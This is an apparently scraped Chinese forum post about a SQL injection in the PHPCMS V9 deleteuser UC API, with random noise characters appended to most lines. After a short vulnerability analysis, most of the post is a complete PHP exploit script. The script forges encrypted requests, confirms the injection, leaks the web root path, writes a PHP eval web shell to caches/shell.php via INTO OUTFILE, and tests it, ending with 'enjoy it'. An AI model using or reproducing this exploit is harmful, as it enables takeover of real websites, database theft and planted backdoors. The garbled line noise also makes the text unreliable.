PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
. |& d% }3 D6 P" u
# @4 q9 G) _* g5 l6 }所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
3 M; m* d3 S( J; L4 f7 H- h' i. g% s& b
漏洞分析:
) f6 \( o# s) g J1.未启用ucenter服务的情况下uc_key为空
# H2 h: }4 B9 p5 s( j* edefine('UC_KEY', pc_base::load_config('system', 'uc_key'));; n7 x% z% \3 C; I% Q, t
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
7 k5 H' b: n5 F1 q! h* h; S public function deleteuser($get,$post) {
" D$ D$ n9 }5 G8 e pc_base::load_app_func('global', 'admin');
" e+ d* f- u6 o$ Y: Q# B, }3 Q7 c pc_base::load_app_class('messagequeue', 'admin' , 0);
6 Y+ j M0 {- e) e# f% Z/ p $ids = new_stripslashes($get['ids']);! d# z9 c& ^. p$ B$ j5 U
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
$ X& E& N }, D N! ESQL语句为
" g( s& Z Y' l# p0 ?SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
2 h/ L: h+ a. f; g) [$ w
/ t( @/ {! L' m/ m1 D L利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
; n" o* s8 A9 e<?php
$ K8 O' y1 h. o, u' Eprint_r('
& Q4 F" f0 u2 N' W---------------------------------------------------------------------------$ Q/ m$ z2 o3 `5 r3 J9 T1 _
PHPcms (v9 or Old Version) uc api sql injection 0day' M/ m8 e- m9 x) Q# N
by rayh4c#80sec.com
M# F7 N6 [" ~& S( g6 r' h- x---------------------------------------------------------------------------% Z4 \( w% r0 n6 s! _
');+ R2 ]5 }( Z2 g- `, E
( S4 e- b' t$ B, p4 w& C- C4 bif ($argc<3) {+ U6 ?+ i0 Y+ F8 y3 R; K
print_r(') {$ |& t8 o8 {; X
--------------------------------------------------------------------------- a0 Z/ ?9 N. N+ Z5 a8 C
Usage: php '.$argv[0].' host path OPTIONS
/ z( k& S1 W$ Q* G$ T. R Ihost: target server (ip/hostname)
7 n A; |) Q) E" C6 f1 opath: path to phpcms/ [' O7 x+ g% v9 p
Options:2 f' Z I' c7 L2 C2 t
-p[port]: specify a port other than 80
: t/ y# v. E" E7 B. N3 ^ -P[ip:port]: specify a proxy8 `* ~0 [7 t9 \( t' S7 g
Example:
! n) O0 P6 t( K% c" O( zphp '.$argv[0].' localhost /
% d9 y; u7 f) a$ V- s" Q& Aphp '.$argv[0].' localhost /phpcms/ -p81
* `: h0 m O8 M h4 d( z2 H1 \php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
. @0 ~- M7 C' H---------------------------------------------------------------------------9 `: ^1 l. ?( p* p6 M( x
');. J+ V* x& i. R" k( Z
die;
. e1 ^5 b9 j) b) U" Z. i}8 s% O2 k6 f3 C, e' E$ W
% a( T! k7 q T
error_reporting(7); Y* R2 P. \; `7 `% V
ini_set("max_execution_time",0);5 n" h; s0 J4 R( w$ c
ini_set("default_socket_timeout",5);7 q2 }8 x. r/ {- e( g' l
8 H- n1 [9 o. L$ x& K/ I# V
function quick_dump($string); L$ s" x. |( ?) y
{% H; J; I" V. _& ~( I
$result='';$exa='';$cont=0;$ T% m* G, N! U$ C9 I, ^
for ($i=0; $i<=strlen($string)-1; $i++)+ \' D0 P+ t7 W# T& ~
{
; {+ e3 ?* f" ?" f5 S5 \ if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) I4 y( g) _7 |7 N+ n" n# a7 a
{$result.=" .";}
- z2 S: s' C* e) q, B6 E else
" F! z9 e0 g: N$ y6 r* U) _- H {$result.=" ".$string[$i];}: E3 e2 ~/ J& Z+ e
if (strlen(dechex(ord($string[$i])))==2)
3 e4 C2 x i0 U+ I7 t {$exa.=" ".dechex(ord($string[$i]));}4 Z; ?+ |; y$ n6 s8 c
else
: G6 n) o1 z5 k4 u, `# q P {$exa.=" 0".dechex(ord($string[$i]));}5 X* a* W" I% k3 d6 R( _) _ G, m+ c
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}' C8 W3 m, f: h+ f9 U- U/ T9 s0 d
}4 B! r( |0 f6 S3 ~3 y+ g
return $exa."\r\n".$result;
, I* X" j) _0 q1 p, u- N}3 l ?4 {4 N5 }+ R3 R/ c
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
9 Q3 P) y9 V) H% U5 \
, |$ ?: y- Z% j2 ^5 Afunction send($packet)
: e& A& C r8 e# Y3 a+ ^7 z: r" Z{3 H/ \- L6 ]2 |2 P; w& N
global $proxy, $host, $port, $html, $proxy_regex;8 u: n% {& Y( T3 G. p
if ($proxy=='') {
" z" F7 p4 X% @) c4 F* B2 B+ x $ock=fsockopen(gethostbyname($host),$port);
& ^9 o* V! A ~4 r if (!$ock) {; A' A& {3 V! y% ]0 i' x
echo 'No response from '.$host.':'.$port; die;
3 `" `8 m3 D/ ^3 x. |4 A }
/ j0 o( p# H; X& ] }
. T9 \+ X8 P5 B0 m( f1 c- C else {
! h o3 ~; z. i# \$ \ $c = preg_match($proxy_regex,$proxy);
% e& i' u9 {3 V) j- y if (!$c) {
! w6 K% d2 B. u& \ echo 'Not a valid proxy...';die;
7 q0 Y& f k: a }- F2 Y9 X) a+ [7 {6 E
$parts=explode(':',$proxy);4 h) q4 R2 g; N) U
$parts[1]=(int)$parts[1];& l J9 o r9 v
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
G5 }! K8 C4 d $ock=fsockopen($parts[0],$parts[1]);
- }2 ] ~" w, ?3 `1 X if (!$ock) {: z9 C( O. ^; `% m7 B- K7 z
echo 'No response from proxy...';die;+ g7 Y: U! M( V/ }; g. q
}
- k% x& A' z; {# |- C }
- f; }% X1 X& c9 G fputs($ock,$packet);
2 H; T1 s- L- a2 {: \% G6 o if ($proxy=='') {
/ h* W' M' u5 U $html='';- `- X/ \ h3 ]+ c' R& v
while (!feof($ock)) {
3 _7 N; |- v( _2 i $html.=fgets($ock);
0 F7 `& o! _" _. y; ?) d! V }
Q1 F( T g: g2 z+ Z8 `& R }8 ?/ _3 y& L, x
else {- H5 J$ H0 {0 o f5 P; h& p) K* ^, z
$html='';
9 o" L, B* P5 h while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {5 o \- j% X) R. q
$html.=fread($ock,1);' c# P1 |) }& n: H4 J
}7 I6 ]. j' g6 B$ D0 j$ ^
}1 B$ D; L1 Q1 O5 D; o8 v3 o# @
fclose($ock);: m1 W7 P7 ~8 j" \2 ?
}5 m" V% z3 N: ` P g, s, c
- l6 j1 i2 v( ?+ g8 X- C$host=$argv[1];
7 L4 Y) a, d# [$path=$argv[2];
- Z( C4 g; ~+ x4 }8 c) v$port=80;) ^& N. [, b5 s9 l7 X% I1 ]
$proxy="";* |, N1 L5 J' G, p1 n5 E' [, _
for ($i=3; $i<$argc; $i++){$ [3 l: y* i1 [& c
$temp=$argv[$i][0].$argv[$i][1];
* {. o b$ r5 U2 X- u; ^" |# J" v) ]3 sif ($temp=="-p")1 y( I) e( t( _
{6 l: {, c4 F1 O% B
$port=(int)str_replace("-p","",$argv[$i]);
6 B# J# g. C) t6 L}
/ X, w; }: l% \if ($temp=="-P")* A q- ~( G) y. v( n0 u" g
{
; }+ r: A8 r# h/ o $proxy=str_replace("-P","",$argv[$i]);
/ m7 R2 g8 [" V' J}
% L% n3 e$ C6 X5 F* F1 Z# h$ ^}
% R; I2 q: D- e0 S% l% Q. H* o( b9 k4 Q1 c; f! g
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}- G+ ^% P3 @3 A% {* @
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}9 G% P/ \! B" H4 ?2 r% [% d
, W2 a) A/ o6 b1 ]; ?# E
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {4 b! h5 D4 \5 D u3 z
# e8 H5 F, ]1 k! W $ckey_length = 4;! [6 I. ` _2 G7 `
7 o+ ?& D4 N" \- l, R
$key = md5($key ? $key : '');/ b, x, l/ J# n3 C, p
$keya = md5(substr($key, 0, 16));
& J- ~- Z: }: p! q6 V $keyb = md5(substr($key, 16, 16));
9 X; o+ O: ?0 m $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
% ]+ v/ y V0 x/ y5 h$ v
% w2 M4 T4 d' J8 X3 o2 w $cryptkey = $keya.md5($keya.$keyc);; n! C) t9 y& E/ y7 W$ i
$key_length = strlen($cryptkey);) T4 W+ V# @3 X
+ G6 l, k( L$ w% ]
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;+ i# i7 [/ U8 U! m7 M
$string_length = strlen($string); K1 }% X1 C. @0 F) o" B- a
# @- a0 b& d `- X; O
$result = '';; e* g. K8 B' M% Y9 T0 k" k( W1 \) d
$box = range(0, 255);5 X' e- ~. K5 n7 d& v1 a& y
# l* G. N/ E- Y $rndkey = array();
) B0 ~: `9 b& k. T+ m- p for($i = 0; $i <= 255; $i++) {
a$ D# @- z; z6 e) x" E. ~. i7 p $rndkey[$i] = ord($cryptkey[$i % $key_length]);/ t( G0 ~' W- E, t2 i" ^- R
}
- [8 o6 c) L' L) v
# A$ {% h3 f7 G; n( j: Y for($j = $i = 0; $i < 256; $i++) {) g$ N/ l# E. {6 |$ u0 ?, r
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
8 l$ r0 V" D& S& U $tmp = $box[$i];. k0 E1 ^7 x5 n. m
$box[$i] = $box[$j];# _! a8 E/ m9 g$ m# Z% o9 @8 s/ T
$box[$j] = $tmp;& G! F( P) V2 g* p
}6 \ L- }3 }9 r* I. \4 r
9 ^6 x% `" v8 ^
for($a = $j = $i = 0; $i < $string_length; $i++) {
+ [& H( c r: d8 i6 ]. m; y" ~ $a = ($a + 1) % 256;
4 H/ L7 X6 i" x" }2 P. i m/ i1 x9 m1 F+ c $j = ($j + $box[$a]) % 256; \5 m+ ~6 M! ]$ n' r5 V6 d/ q8 o: ]
$tmp = $box[$a];# O$ w! P- T: j; S3 S" v% k* X( Y
$box[$a] = $box[$j];
, K. o; Z) ]. } $box[$j] = $tmp;! S- n" G" \. {! [, A
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));; p1 F) p2 e" s$ L. d5 O
}2 h: A _+ {5 J7 l# L$ S# ]7 u
) Q' ^ P8 v) G+ z& k if($operation == 'DECODE') {
1 N4 Z- w! w6 ^% M2 g' E% |6 U if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {4 r8 J% g3 h7 Q- O
return substr($result, 26);( F/ c1 |# i) r. `7 n
} else {+ x' @5 B6 q! W: H
return '';" t! o/ u# D+ m, a Q
}9 z- N" m- O1 O) x+ ]' l- P
} else { T9 p$ V1 r t
return $keyc.str_replace('=', '', base64_encode($result));
" o* T5 N* P ^- L5 u% o; j2 P }, h7 \9 V8 l8 ]& t& w
: F$ O( Z# t1 U5 q9 |3 a
}. i- R6 X5 F n' @5 R% M
8 q7 {! {" ?3 l7 N$ P! g/ ^! P$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";# ^3 X' r- G- o# e; p
$SQL = urlencode(authcode($SQL, "ENCODE", ""));* [) D/ g7 u5 j8 Q! H' v" w2 h: A( @; {" o
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";3 g2 f2 [: K! j& `1 n t8 L
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
3 h* T1 @3 w: [! R* \ j# t8 ?$packet.="User-Agent: Mozilla/5.0\r\n";( a+ l& J1 t. b4 ~, r) Y
$packet.="Host: ".$host."\r\n";' D8 _( r/ Q. ^; p
$packet.="Connection: Close\r\n\r\n";
( }) a5 @+ D6 ], s$ p5 {) t, asend($packet);% L. [0 A0 R# w o
if(strpos($html,"MySQL Errno") > 0){4 B4 j2 z5 K; H/ ] J0 i6 f8 b
echo "[2] 发现存在SQL注入漏洞"."\n";
! i) `* H& A+ R1 n& E# h( u3 Decho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
+ f- X( W+ E/ j* j* o( z+ X$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
! p T! u8 q" K4 O$packet.="User-Agent: Mozilla/5.0\r\n";$ _- {( s" ^% W8 y7 g
$packet.="Host: ".$host."\r\n";/ T$ f% g M J, m5 Z
$packet.="Connection: Close\r\n\r\n";: X# o0 ]. \! c m2 U7 q6 g
send($packet);/ I4 g% i; V' _6 [' G2 O4 W
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);/ n" t% ]* H! f
//print_r($matches);
9 k( O3 H$ A8 w$ ]if(!empty($matches)){
% V2 n6 J, p1 j$ X* @3 qecho "[4] 得到web路径 " . $matches[0]."\n";
/ F0 \( ^& ~( n5 Uecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";% h; Q5 Y( \; @9 D s/ n; I# v
$SQL = "time=999999999999999999999999&ids=1)";
9 O& s" E, t8 K$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";* W( E' W- P' L* [: u8 e& W
$SQL.="&action=deleteuser";
8 s: r% p+ g5 q2 V. J5 A @. U3 I$SQL = urlencode(authcode($SQL, "ENCODE", ""));) [3 [" P+ e% a+ Y9 m* X7 n
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$ ~; N u6 Z2 R" B- _6 m" G$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";; O+ W; U1 p0 V( G/ D$ ]
$packet.="User-Agent: Mozilla/5.0\r\n";' X8 |8 d) E+ }' `
$packet.="Host: ".$host."\r\n";
. G: F/ O+ N4 S9 Z9 C! [$ R$packet.="Connection: Close\r\n\r\n";
( B$ t6 X7 Q8 }# Z3 F: u9 {send($packet);2 _) K$ J5 Q) z, v2 i1 L
if(strpos($html,"Access denied") > 0){0 `- Q/ J# C5 g# ?; o; Q d+ Q
echo "[-] MYSQL权限过低 禁止写入文件 ";
" e* K' w: O0 _# z0 i2 [die;" T* U$ u6 r% W; l
}) X$ d& `. L2 _; t# D; Y0 u
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
/ t1 U: ?! u/ D2 {4 H$ C+ w w$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";# b& N' N4 l# B! |1 R+ `
$packet.="User-Agent: Mozilla/5.0\r\n";
! B& ?0 J* A! N: S7 V. s$packet.="Host: ".$host."\r\n";/ n/ x2 G$ S: W+ o4 M/ v
$packet.="Connection: Close\r\n\r\n";3 W$ b+ W- @0 l2 D' h) t
send($packet);
0 x1 ^( w! K. b Jif(strpos($html,"<title>phpinfo()</title>") > 0){$ B# v: r0 B6 Z5 R5 z6 r, w5 d: U U
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
" o k3 x6 m5 e# C. W4 M} y( T+ I$ J( w; V
}else{
% O" h: e3 ]8 ~3 _3 H) z; decho "[-]未取到web路径 ";% Q" D) X5 I4 p& p" }
}
1 O* M2 ~7 A. Q2 B1 W4 ?}else{
& ?8 z, D' F2 a, d0 ~$ Lecho "[*]不存在SQL注入漏洞"."\n";
/ m+ {; ^; z3 u6 n) n}
, p2 t8 b2 k2 h- v+ W: I7 G5 ]1 h. v- e( H
?>
' w, H; O' w8 y4 K) h2 l |